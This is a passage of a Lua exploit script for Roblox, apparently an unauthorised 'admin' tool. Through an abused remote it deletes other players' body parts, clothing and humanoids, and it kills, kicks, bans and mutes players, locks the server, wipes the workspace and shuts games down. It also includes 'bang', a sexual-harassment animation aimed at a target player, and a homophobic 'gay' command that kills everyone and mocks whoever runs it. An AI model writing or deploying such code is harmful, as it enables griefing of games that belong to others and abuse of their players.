gunTool.RequiresHandle = false
gunTool.CanBeDropped = false
gunTool.Name = "wacky gun tool"
gunTool.ToolTip = "Click a player to \"shoot\" them"
gunTool.TextureId = "rbxassetid://822278164"
local handle = Instance.new("Part", gunTool)
handle.Name = "Handle"
handle.Transparency = 1
handle.CanCollide = false
handle.Size = Vector3.new(0.001,0.001,0.001)
handle.Massless = true
local track
gunTool.Activated:Connect(function()
local target = mouse.Target
if target == nil then return end
for i,v in pairs(players:GetPlayers()) do
local char = v.Character
if char == nil then continue end
for _, part in pairs(char:GetDescendants()) do
if (not part:IsA("BasePart")) or part ~= target then continue end
if humanoid.RigType == Enum.HumanoidRigType.R6 then
track.TimePosition = 0.4
task.wait(.25)
track.TimePosition = 0.18
end
local arg = {players:GetPlayerFromCharacter(char)}
runCommand("ragdoll", arg)
task.wait(1.5)
runCommand("kill", arg)
break
end
end
end)
if humanoid.RigType ~= Enum.HumanoidRigType.R6 then return end
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://33169583"
track = humanoid:LoadAnimation(animation)
track.Priority = Enum.AnimationPriority.Movement
gunTool.Equipped:Connect(function()
track:Play()
task.wait()
track:AdjustSpeed(0)
track.TimePosition = 0.18
track:AdjustWeight(0.95)
end)
gunTool.Unequipped:Connect(function()
track:Stop()
end)
end, {}, 3)
addCommand("punch", function()
sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
local arm = (isR15 and character:FindFirstChild("RightLowerArm")) or (character:FindFirstChild("Right Arm"))
if not arm then return end
if localPlayer.Backpack:FindFirstChild("wacky punch tool") or (character:FindFirstChild("wacky punch tool")) then
return
end
local punchTool = Instance.new("Tool", localPlayer.Backpack)
punchTool.RequiresHandle = false
punchTool.CanBeDropped = false
punchTool.Name = "wacky punch tool"
punchTool.ToolTip = "Click to punch"
punchTool.TextureId = "rbxassetid://14881411853"
local animation = Instance.new("Animation")
animation.AnimationId = (isR15 and "rbxassetid://846744780") or ("rbxassetid://204062532")
local track = humanoid:LoadAnimation(animation)
local attacking = false
local touchedConnection = arm.Touched:Connect(function(part)
if not attacking then return end
local parent = part.Parent
if not parent then return end
local target = players:GetPlayerFromCharacter(parent)
if (not target) or (target == localPlayer) then return end
local hum = parent:FindFirstChildOfClass("Humanoid")
if hum and hum.Health <= 0 then return end
runCommand("kill",{target})
end)
punchTool.Activated:Connect(function()
if attacking then return end
track:Play()
task.wait(isR15 and 0.2 or 0.165)
attacking = true
track.Ended:Wait()
attacking = false
end)
end, {"slap"}, 3)
table.insert(genv.connections,players.PlayerAdded:Connect(function(plr)
if (slockEnabled or bans[tostring(plr.UserId)]) then
task.wait()
delete(plr)
end
end))
addCommand("ban", function(plrs, input)
for i,v in pairs(plrs) do
if v == localPlayer then continue end
if bans[tostring(v.UserId)] then continue end
bans[tostring(v.UserId)] = input
delete(v)
end
end, {}, 2)
addCommand("unban", function(plrs, input)
if input == "all" then return table.clear(bans) end
for i,v in pairs(bans) do
if v ~= input and i ~= input then continue end
bans[i] = nil
end
end, {}, 2)
addCommand("clearbans", function()
table.clear(bans)
end, {}, 2)
addCommand("serverlock",function()
slockEnabled = true
end, {"slock"}, 2)
addCommand("unserverlock", function()
slockEnabled = false
end, {"unslock"}, 2)
addCommand("kick", function(plrs)
for i,v in pairs(plrs) do
delete(v)
end
end, {}, 2)
addCommand("mute", function(plrs)
if not modernChat then return notify("Error", "Game uses legacy chat, command not supported") end
local names = {}
for i,v in pairs(plrs) do
table.insert(names, v.Name)
end
for i,instance in pairs(game:GetService("TextChatService").TextChannels:GetDescendants()) do
if not table.find(names, instance.Name) then continue end
delete(instance)
end
end, {}, 2)
addCommand("unsit", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then continue end
local seatPart = humanoid.SeatPart
if not seatPart then continue end
local weld = seatPart:FindFirstChild("SeatWeld")
if not weld then continue end
delete(weld)
end
end, {"stand"}, 1)
addCommand("kill", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
local head = char:FindFirstChild("Head")
if head == nil then continue end
local neck = head:FindFirstChild("Neck")
if neck == nil then
local torso = char:FindFirstChild("Torso")
if torso and torso:FindFirstChild("Neck") then neck = char.Torso.Neck end
end
if humanoid and humanoid.RequiresNeck and neck then
delete(neck)
continue
end
end
end, {}, 1)
table.insert(genv.connections, rs.Heartbeat:Connect(function()
local toKill = {}
for i,v in pairs(loopkills) do
if v.Parent ~= players then table.remove(toKill, i) continue end
if not v.Character then continue end
table.insert(toKill, v)
end
runCommand("kill", toKill)
end))
addCommand("gay", function(plrs)
local allPlayers = players:GetPlayers()
local candidates = {}
for _, p in ipairs(allPlayers) do
if p ~= localPlayer then
table.insert(candidates, p)
end
end
local survivor = #candidates > 0 and candidates[math.random(1, #candidates)] or nil
for _, v in ipairs(allPlayers) do
if v == localPlayer then continue end
if v == survivor then continue end
local char = v.Character
if char then
local humanoid = char:FindFirstChildOfClass("Humanoid")
local head = char:FindFirstChild("Head")
if head then
local neck = head:FindFirstChild("Neck") or (char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Neck"))
if humanoid and humanoid.RequiresNeck and neck then
delete(neck)
end
end
for _, obj in pairs(char:GetDescendants()) do
if obj:IsA("Accessory") or obj:IsA("Shirt") or obj:IsA("Pants") or obj:IsA("BodyColors") or obj:IsA("ShirtGraphic") or (obj:IsA("Decal") and obj.Name == "face") then
delete(obj)
end
end
end
bans = bans or {}
bans[tostring(v.UserId)] = "obliterated"
delete(v)
end
do
local myChar = localPlayer.Character
if myChar then
for _, obj in pairs(myChar:GetDescendants()) do
if obj:IsA("Accessory") or obj:IsA("Shirt") or obj:IsA("Pants") or obj:IsA("BodyColors") or obj:IsA("ShirtGraphic") or (obj:IsA("Decal") and obj.Name == "face") then
delete(obj)
end
end
end
end
runCommand("unbang")
local target = survivor
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or not target or not target.Character or not target.Character:FindFirstChildOfClass("Humanoid") then return end
if not target.Character:FindFirstChild("HumanoidRootPart") then return end
local hrp = target.Character:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Anchored = true end
local myChar = localPlayer.Character
local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart")
if myHRP and hrp then
myHRP.CFrame = hrp.CFrame * CFrame.new(0, 0.75, -1.5)
end
bangAnim = Instance.new("Animation")
bangAnim.AnimationId = (humanoid.RigType ~= Enum.HumanoidRigType.R15) and "rbxassetid://148840371" or "rbxassetid://5918726674"
bang = humanoid:LoadAnimation(bangAnim)
bang:Play(0.1, 1, 1)
bang:AdjustSpeed(3)
bangDied = nil
bangDied = humanoid.Died:Connect(function()
bang:Stop()
bangAnim:Destroy()
bangDied:Disconnect()
if bangLoop then bangLoop:Disconnect() end
end)
if target ~= localPlayer then
bangLoop = rs.Stepped:Connect(function()
if not target.Character then return end
local hum = target.Character:FindFirstChildOfClass("Humanoid")
if not hum then return end
local root = hum.RootPart
if not root then return end
character:PivotTo(root.CFrame * CFrame.new(0, 0.75, 1.1))
end)
table.insert(genv.connections, bangLoop)
end
notify("Why did you run this command? do you need help?", 5)
end, {"gayness", "lgbtq"}, 3)
addCommand("loopkill", function(plrs)
for i,v in pairs(plrs) do
if table.find(loopkills, v) then continue end
table.insert(loopkills, v)
end
end, {}, 1)
addCommand("unloopkill", function(plrs, input)
if input:lower() == "all" then loopkills = {} return end
for i,v in pairs(loopkills) do
if not table.find(plrs, v) then continue end
table.remove(loopkills, i)
end
end, {}, 1)
addCommand("silentkill", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
local head = char:FindFirstChild("Head")
if not head then continue end
local neck = head:FindFirstChild("Neck")
if not neck then
local torso = char:FindFirstChild("Torso")
if torso and torso:FindFirstChild("Neck") then neck = char.Torso.Neck end
end
if not (humanoid and humanoid.RequiresNeck and neck) then continue end
delete(neck)
repeat task.wait() until humanoid.Health <= 0
delete(char)
end
end, {"skill"}, 1)
addCommand("naked", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local pants = char:FindFirstChild("Pants")
local shirt = char:FindFirstChild("Shirt")
local tshirt = char:FindFirstChild("Shirt Graphic")
if pants then delete(pants) end
if shirt then delete(shirt) end
if tshirt then delete(tshirt) end
for _,instance in pairs(char:GetDescendants()) do
if not instance:IsA("WrapLayer") then continue end
delete(instance.Parent.Parent)
end
end
end, {"noclothing"}, 1)
addCommand("bald", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
for _,instance in pairs(char:GetChildren()) do
if not instance:IsA("Accessory") then continue end
delete(instance)
end
end
end, {"nohats"}, 1)
addCommand("nolimbs", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
for _,instance in pairs(char:GetChildren()) do
for i,v in pairs(limbs) do
if not instance.Name:lower():find(v) then continue end
delete(instance)
end
end
end
end, {}, 1)
addCommand("noarms", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
for _,instance in pairs(char:GetChildren()) do
if not instance.Name:lower():find("arm") then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("nolegs", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
for _,instance in pairs(char:GetChildren()) do
if not (instance.Name:lower():find("leg") or instance.Name:lower():find("foot")) then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("noface", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local head = char:FindFirstChild("Head")
if head == nil then continue end
for _,instance in pairs(head:GetChildren()) do
if not instance:IsA("Decal") then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("stripidentity", function(plrs)
runCommand("noface",plrs)
runCommand("naked", plrs)
runCommand("bald", plrs)
end, {"strip", "noidentity"}, 1)
addCommand("korblox", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local r6Leg = char:FindFirstChild("Right Leg")
if r6Leg then
delete(r6Leg)
continue
end
local r15Leg = char:FindFirstChild("RightUpperLeg")
if not r15Leg then continue end
delete(r15Leg)
end
end, {}, 1)
addCommand("blockhead", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not (humanoid and humanoid.RigType == Enum.HumanoidRigType.R6) then continue end
local head = char:FindFirstChild("Head")
if not head then continue end
local mesh = head:FindFirstChildOfClass("SpecialMesh")
if not mesh then continue end
delete(mesh)
end
end, {"demeshhead"}, 1)
addCommand("blockhats", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not (humanoid and humanoid.RigType == Enum.HumanoidRigType.R6) then continue end
for i,hat in pairs(humanoid:GetAccessories()) do
local handle = hat:FindFirstChild("Handle")
if not handle then continue end
local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle:FindFirstChildOfClass("Mesh")
if not mesh then continue end
delete(mesh)
end
end
end, {"demeshhats"}, 1)
addCommand("blocktools", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local handles = {}
for i,v in pairs(v.Backpack:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(handles, v.Handle)
end
for i,v in pairs(char:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(handles, v.Handle)
end
for i,handle in pairs(handles) do
local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle:FindFirstChildOfClass("Mesh")
if not mesh then continue end
delete(mesh)
end
end
end, {"demeshtools"}, 1)
addCommand("bighats", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local hum = char:FindFirstChildOfClass("Humanoid")
if not hum then continue end
if hum.RigType ~= Enum.HumanoidRigType.R15 then continue end
local hats = hum:GetAccessories()
local scalableHats = {}
for i,v in pairs(hats) do
local handle = v:FindFirstChild("Handle")
if not handle then continue end
local scaleType = handle:FindFirstChild("AvatarPartScaleType")
if not scaleType then continue end
table.insert(scalableHats,v)
end
if #scalableHats == 0 then continue end
task.spawn(function()
for i,value in pairs(scaleValues) do
for i, hat in pairs(scalableHats) do
local handle = hat:FindFirstChild("Handle")
if not handle then continue end
local ogSize = handle:WaitForChild("OriginalSize")
delete(ogSize)
repeat task.wait() until ogSize.Parent ~= handle
end
local scaleValue = hum:FindFirstChild(value)
if not scaleValue then continue end
delete(scaleValue)
repeat task.wait() until scaleValue.Parent ~= hum
end
end)
end
end, {"rescalehats", "gianthats"}, 1)
addCommand("rescale", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local hum = char:FindFirstChildOfClass("Humanoid")
if not hum then continue end
if hum.RigType ~= Enum.HumanoidRigType.R15 then continue end
spawn(function()
local function rm()
for i,v in pairs(char:GetDescendants()) do
if not v:IsA("BasePart") then continue end
if v.Name == "Handle" or v.Name == "Head" then
if not char.Head:FindFirstChild("OriginalSize") then continue end
delete(char.Head.OriginalSize)
continue
end
for i,cav in pairs(v:GetDescendants()) do
if not cav:IsA("Attachment") then continue end
local op = cav:FindFirstChild("OriginalPosition")
if not op then continue end
delete(op)
task.wait(.1)
end
local os = v:FindFirstChild("OriginalSize")
if os then
delete(os)
task.wait(.1)
end
local apst = v:FindFirstChild("AvatarPartScaleType")
if not apst then continue end
delete(apst)
task.wait(.1)
end
end
for i,v in pairs(scaleValues) do
rm()
task.wait(.1)
local scale = hum:FindFirstChild(v)
if not scale then continue end
delete(scale)
task.wait(.1)
end
end)
end
end, {"morph"}, 1)
addCommand("ragdoll", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local hrp = char:FindFirstChild("HumanoidRootPart")
if hrp == nil then continue end
delete(hrp)
end
end, {"nohrp"}, 1)
addCommand("sink", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
delete(humanoid)
end
end, {"nohum","nohumanoid"}, 2)
addCommand("freeze", function(plrs)
runCommand("ragdoll", plrs)
runCommand("noanims", plrs)
end, {}, 2)
addCommand("noanims", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
local animator = humanoid:FindFirstChildOfClass("Animator")
if animator == nil then continue end
delete(animator)
local animate = char:FindFirstChild("Animate")
if animate == nil then continue end
delete(animate)
end
end, {}, 1)
addCommand("invisible", function(plrs)
local ignoreList = {"UpperTorso", "Head", "HumanoidRootPart", "Humanoid"}
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end
for _,instance in pairs(char:GetChildren()) do
if table.find(ignoreList, instance.Name) then continue end
delete(instance)
end
if humanoid.RootPart then humanoid.RootPart.Transparency = 0.6 end
end
end, {"invis"}, 1)
addCommand("legwalk", function(plrs)
local deleteList = {"LeftUpperArm","RightUpperArm"}
for i,v in pairs(plrs) do
local char = v.Character
if char == nil then continue end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid == nil then continue end
if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end
local upperTorso = char:FindFirstChild("UpperTorso")
if upperTorso == nil then continue end
local waist = upperTorso:FindFirstChild("Waist")
if waist == nil then continue end
for _,instance in pairs(char:GetChildren()) do
if not (table.find(deleteList, instance.Name) or instance:IsA("Accessory")) then continue end
delete(instance)
end
delete(waist)
end
end, {"split"}, 1)
addCommand("fakechat", function(plrs)
local localPlayer = game:GetService("Players").LocalPlayer
local rs = game:GetService("RunService")
local character = localPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
local hrp = character:FindFirstChild("HumanoidRootPart")
if not (humanoid and hrp) then return end
local target
for _, v in pairs(plrs) do
if v == localPlayer then continue end
if not v.Character then continue end
if not v.Character:FindFirstChild("HumanoidRootPart") then continue end
target = v
break
end
if not target then return end
runCommand("unbang")
runCommand("view", {target})
task.wait(0.2)
if humanoid.RigType == Enum.HumanoidRigType.R15 then
runCommand("invisible", {localPlayer})
else
for _, v in pairs(hrp:GetChildren()) do
delete(v)
end
repeat task.wait() until #hrp:GetChildren() == 0
end
local followLoop
followLoop = rs.Heartbeat:Connect(function()
if not target.Character then return end
local thrp = target.Character:FindFirstChild("HumanoidRootPart")
if not thrp then return end
local predictedCF = CFrame.new(
thrp.Position.X + thrp.Velocity.X / 4,
thrp.Position.Y,
thrp.Position.Z + thrp.Velocity.Z / 4
)
hrp.AssemblyAngularVelocity = Vector3.zero
hrp.AssemblyLinearVelocity = Vector3.zero
hrp.CFrame = (predictedCF * CFrame.new(0, 3, -1.5)) * CFrame.Angles(math.rad(90), 0, 0)
end)
table.insert(genv.connections, followLoop)
table.insert(genv.connections, humanoid.Died:Connect(function()
if followLoop then followLoop:Disconnect() end
runCommand("unview")
end))
end, {}, 3)
addCommand("notools", function(plrs)
for i,v in pairs(plrs) do
for _, instance in pairs(v:FindFirstChildOfClass("Backpack"):GetChildren()) do
if not instance:IsA("BackpackItem") then continue end
delete(instance)
end
local char = v.Character
if char == nil then continue end
for _, instance in pairs(char:GetChildren()) do
if not instance:IsA("BackpackItem") then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("grabtools", function(plrs, input, caller)
local callChar = caller.Character
if not callChar then return end
local hrp = callChar:FindFirstChild("HumanoidRootPart")
local pos = hrp and hrp.CFrame or callChar:GetPivot()
if not pos then return end
local tools = {}
for i,v in pairs(workspace:GetDescendants()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
for i,v in pairs(tools) do
if not v.Handle:FindFirstChildOfClass("TouchTransmitter") then continue end
v.Handle.CanCollide = false
v.Handle.CFrame = pos
end
end, {"getalltools"}, 1)
addCommand("givetools", function(plrs, input, caller)
local callChar = caller.Character
if not callChar then return end
local callHum = callChar:FindFirstChildOfClass("Humanoid")
if not callHum then return end
local callHead = callChar:FindFirstChild("Head")
if not callHead then return end
local oldPos = caller == localPlayer and callChar:GetPivot()
local target = plrs[1]
if not target then return end
local tChar = target.Character
if not tChar then return end
local tHum = tChar:FindFirstChildOfClass("Humanoid")
if not tHum then return end
local thrp = tChar:FindFirstChild("HumanoidRootPart")
local tools = {}
for i,v in pairs(callChar:GetChildren()) do
if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end
table.insert(tools, v)
end
if #tools == 0 then return end
delete(callHead)
repeat task.wait() until callChar:FindFirstChild("Head") == nil
delete(callHum)
repeat task.wait() until callChar:FindFirstChildOfClass("Humanoid") == nil
for i,v in pairs(tools) do
v.Handle.CanCollide = false
v.Handle.CFrame = thrp and thrp.CFrame or tChar:GetPivot()
end
if not oldPos then return end
localPlayer.CharacterAdded:Wait():PivotTo(oldPos)
end, {"givetool","give"}, 1)
addCommand("stealtools", function(plrs, input, caller)
local character = caller.Character
if not character then return end
local lpHumanoid = character:FindFirstChildOfClass("Humanoid")
if not lpHumanoid then return end
local hrp = lpHumanoid.RootPart
for i,plr in pairs(plrs) do
if plr == caller then continue end
local char = plr.Character
if not char then continue end
local tool = char:FindFirstChildOfClass("BackpackItem")
if not tool then continue end
local head = char:FindFirstChild("Head")
if not head then continue end
delete(head)
task.wait(0.05)
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid then
delete(humanoid)
end
repeat task.wait() until char:FindFirstChildOfClass("Humanoid") == nil
task.wait(.05)
for i,v in pairs(char:GetChildren()) do
if not (v:IsA("BackpackItem") and v:FindFirstChild("Handle")) then continue end
if hrp and hrp.Parent then
v.Handle.CFrame = hrp.CFrame
end
lpHumanoid:EquipTool(v)
end
end
end, {"stools"}, 1)
addCommand("droptools", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
local arm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightHand")
if not arm then continue end
local function deleteArm()
if not char:FindFirstChildOfClass("Tool") then return end
task.wait(.1)
delete(arm)
end
table.insert(genv.connections, arm.ChildAdded:Connect(deleteArm))
local grip = arm:FindFirstChild("RightGrip")
if not grip then continue end
delete(grip)
end
end, {"collidetools"}, 1)
addCommand("punish", function(plrs)
for i,v in pairs(plrs) do
local char = v.Character
if not char then continue end
delete(char)
end
end, {}, 2)
addCommand("bang", function(plrs) -- credit to the Infinite Yield team
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
runCommand("unbang")
local target
for i,v in pairs(plrs) do
if not v.Character then continue end
if not v.Character:FindFirstChildOfClass("Humanoid") then continue end
if not v.Character.Humanoid.RootPart then continue end
target = v
break
end
bangAnim = Instance.new("Animation")
bangAnim.AnimationId = (humanoid.RigType ~= Enum.HumanoidRigType.R15) and "rbxassetid://148840371" or "rbxassetid://5918726674"
bang = humanoid:LoadAnimation(bangAnim)
bang:Play(0.1, 1, 1)
bang:AdjustSpeed(3)
bangLoop = nil
bangDied = nil;bangDied = humanoid.Died:Connect(function()
bang:Stop()
bangAnim:Destroy()
bangDied:Disconnect()
if bangLoop then bangLoop:Disconnect() end
end)
if target == localPlayer then return end
bangLoop = rs.Stepped:Connect(function()
if target.Character == nil then return end
local hum = target.Character:FindFirstChildOfClass("Humanoid")
if hum == nil then return end
local root = hum.RootPart
if root == nil then return end
character:PivotTo(root.CFrame * CFrame.new(0, 0.75, 1.1))
end)
table.insert(genv.connections,bangLoop)
end, {}, 3)
addCommand("unbang", function()
if bangDied then bangDied:Disconnect() end
if bang then bang:Stop() end
if bangAnim then bangAnim:Destroy() end
if bangLoop then bangLoop:Disconnect() end
end, {}, 3)
addCommand("clearstarter", function()
local whitelist = {"BubbleChat", "ChatScript", "PlayerScriptsLoader", "RbxCharacterSounds", "PlayerModule"}
for i,v in pairs(sgui:GetChildren()) do
delete(v)
end
for i,v in pairs(game:GetService("StarterPack"):GetChildren()) do
delete(v)
end
for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterPlayerScripts"):GetChildren()) do
if table.find(whitelist, v.Name) then continue end
delete(v)
end
for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterCharacterScripts"):GetChildren()) do
delete(v)
end
end, {"clearstarters"}, 1)
addCommand("cleargui", function()
for i,v in pairs(sgui:GetChildren()) do
delete(v)
end
end,{"clearsgui", "clearguis"}, 1)
addCommand("nochat",function()
local chatEvents = rStorage:FindFirstChild("DefaultChatSystemChatEvents")
if chatEvents then return delete(chatEvents) end
if not modernChat then return end
for i,v in pairs(game:GetService("TextChatService"):GetChildren()) do
delete(v)
end
end, {"breakchat"}, 2)
addCommand("nostats", function(plrs)
for i,v in pairs(plrs) do
local stats = v:FindFirstChild("leaderstats")
if stats == nil then continue end
delete(stats)
end
end, {}, 1)
addCommand("deletename", function(plrs, input)
for i,v in pairs(game:GetDescendants()) do
local match = v.Name:lower():gsub(" ","")
if not match:match(input:lower()) then continue end
delete(v)
end
end, {}, 2)
addCommand("clearstorage",function()
for i,v in pairs(rStorage:GetChildren()) do
if (v == genv.foundRemote) or (modernChat == false and v:IsA("Folder") and v.Name == "DefaultChatSystemChatEvents") then continue end
delete(v)
end
end, {"clearrs","clearreps", "clearreplicatedstorage"}, 1)
addCommand("clearws", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
delete(v)
end
end, {}, 2)
addCommand("lockws", function()
for i,v in pairs(workspace:GetChildren()) do
if players:FindFirstChild(v.Name) then continue end
local con = v.ChildAdded:Connect(function(instance)
if players:FindFirstChild(instance.Parent.Name) then return end
task.wait()
delete(instance)
end)
table.insert(genv.connections,con)
table.insert(wslocks,con)
end
local con = workspace.ChildAdded:Connect(function(instance)
if players:FindFirstChild(instance.Name) then return end
task.wait()
delete(instance)
end)
table.insert(genv.connections,con)
table.insert(wslocks,con)
end, {}, 1)
addCommand("unlockws", function()
for i,v in pairs(wslocks) do
v:Disconnect()
end
end, {}, 1)
addCommand("notextures", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
if (v:IsA("Decal") or v:IsA("Texture")) then delete(v) end
for _,instance in pairs(v:GetDescendants()) do
if not (instance:IsA("Decal") or instance:IsA("Texture")) then continue end
delete(instance)
end
end
end, {}, 1)
addCommand("baseplate", function()
if not character then return end
local hum = character:FindFirstChildOfClass("Humanoid")
if not hum then return end
local hrp = hum.RootPart
if not hrp then return end
local function isPlate(instance)
if not (instance:IsA("BasePart")) then return end
local distance = (instance.Position - hrp.Position).Magnitude
local size = instance.Size.Magnitude
if distance <= 7 or size >= 1000 or instance.Name:lower():gsub(" ",""):find("baseplate") then return true end
return false
end
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
if isPlate(v) == false then delete(v) continue end
for _,instance in pairs(v:GetDescendants()) do
if isPlate(instance) then continue end
delete(instance)
end
end
end,{"platform"}, 2)
addCommand("nospawns", function()
for i,v in pairs(workspace:GetDescendants()) do
if not v:IsA("SpawnLocation") then continue end
delete(v)
end
end, {}, 1)
addCommand("unweldws", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
for _, instance in pairs(v:GetDescendants()) do
if not (instance:IsA("Weld") or instance:IsA("Attachment") or v:IsA("Motor6D")) then continue end
delete(instance)
end
if not (v:IsA("Weld") or v:IsA("Attachment") or v:IsA("Motor6D")) then continue end
delete(v)
end
end, {}, 1)
addCommand("noseats", function()
for i,v in pairs(workspace:GetChildren()) do
if players:GetPlayerFromCharacter(v) then continue end
for _, instance in pairs(v:GetDescendants()) do
if not (instance:IsA("VehicleSeat") or instance:IsA("Seat")) then continue end
delete(instance)
end
if not (v:IsA("VehicleSeat") or v:IsA("Seat")) then continue end
delete(v)
end
end, {}, 1)
addCommand("nosounds",function()
for i,v in pairs(game:GetDescendants()) do
if not v:IsA("Sound") then continue end
delete(v)
end
end, {}, 1)
addCommand("noteams", function()
for i,v in pairs(game:GetService("Teams")) do
delete(v)
end
end, {}, 1)
addCommand("clearlighting",function()
for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
delete(v)
end
end, {}, 1)
addCommand("shutdown", function()
for i,v in pairs(players:GetPlayers()) do
if i == 1 then continue end
delete(v)
end
delete(localPlayer)
end, {}, 2)
addCommand("nuke",function()
for i,v in pairs(workspace:GetChildren()) do
delete(v)
end
for i,v in pairs(players:GetPlayers()) do
if i == 1 then continue end
delete(v)
end
end, {}, 2)
addCommand("witherws",function(plrs, input)
local speedInp = input:split(" ")[2]
local speed = speedInp and tonumber(speedInp) or .25
local baseparts = {}
for i,v in pairs(workspace:GetChildren()) do
if players:FindFirstChild(v.Name) then continue end
if v:IsA("BasePart") then
table.insert(baseparts,v)
end
for i,instance in pairs(v:GetDescendants()) do
if not instance:IsA("BasePart") then continue end
table.insert(baseparts, instance)
end
end
for i = 1, #baseparts do
local len = #baseparts
local part = baseparts[math.random(1,len)]
if not part:IsDescendantOf(workspace) then continue end
delete(part)
task.wait(speed)
end
end, {}, 2)
addCommand("wither",function(plrs, input)
local speedInp = input:split(" ")[2]
local speed = speedInp and tonumber(speedInp) or 1
local function decay(plr)
local char = plr.Character
if not char then return end
local limbs = {}
local shuffledLimbs = {}
for i,v in pairs(char:GetChildren()) do
if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end
table.insert(limbs, v)
end
for i = 1, #limbs do
local rng = math.random(#limbs)
table.insert(shuffledLimbs , limbs[rng])
table.remove(limbs, rng)
end
for i,v in pairs(shuffledLimbs) do
if not char:FindFirstChild(v.Name) then continue end
if plr.Character ~= char then return end
delete(v)
table.remove(limbs,i)
task.wait(speed)
end
local head = char:FindFirstChild("Head")
if not head then return end
delete(head)
task.wait(0.1)
for i,v in pairs(char:GetChildren()) do
if not v:IsA("BasePart") then continue end
delete(v)
end
end
for i,v in pairs(plrs) do
task.spawn(decay,v)
end
end, {"decay"}, 1)
local infectSpeed = 1
local function infectPlayer(plr)
local char = plr.Character
if not char then return end
debugPrint(`{plr.Name} was infected`)
local limbs = {}
local limbAmount
local shuffledLimbs = {}
for i,v in pairs(char:GetChildren()) do
if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end
table.insert(limbs, v)
end
limbAmount = #limbs
for i = 1, #limbs do
local rng = math.random(#limbs)
table.insert(shuffledLimbs , limbs[rng])
table.remove(limbs, rng)
end
for i,v in pairs(shuffledLimbs) do
task.wait((45/limbAmount) * infectSpeed)
local infectedIndex = table.find(infected,plr)
if not char:FindFirstChild(v.Name) then continue end
if plr.Character ~= char then return end
delete(v)
table.remove(limbs,i)
end
local head = char:FindFirstChild("Head")
if head then
delete(head)
task.wait(0.1)
end
for i,v in pairs(char:GetChildren()) do
if not v:IsA("BasePart") then continue end
delete(v)
end
table.remove(infected,table.find(infected,plr))
end
table.insert(genv.connections,rs.Heartbeat:Connect(function()
for i,v in pairs(infected) do
local char = v.Character
if not char then continue end
local hum = char:FindFirstChild("Humanoid")
if hum and hum.Health <= 0 then table.remove(infected,table.find(infected,v)) continue end
local hrp = hum and hum.RootPart or char:FindFirstChild("HumanoidRootPart")
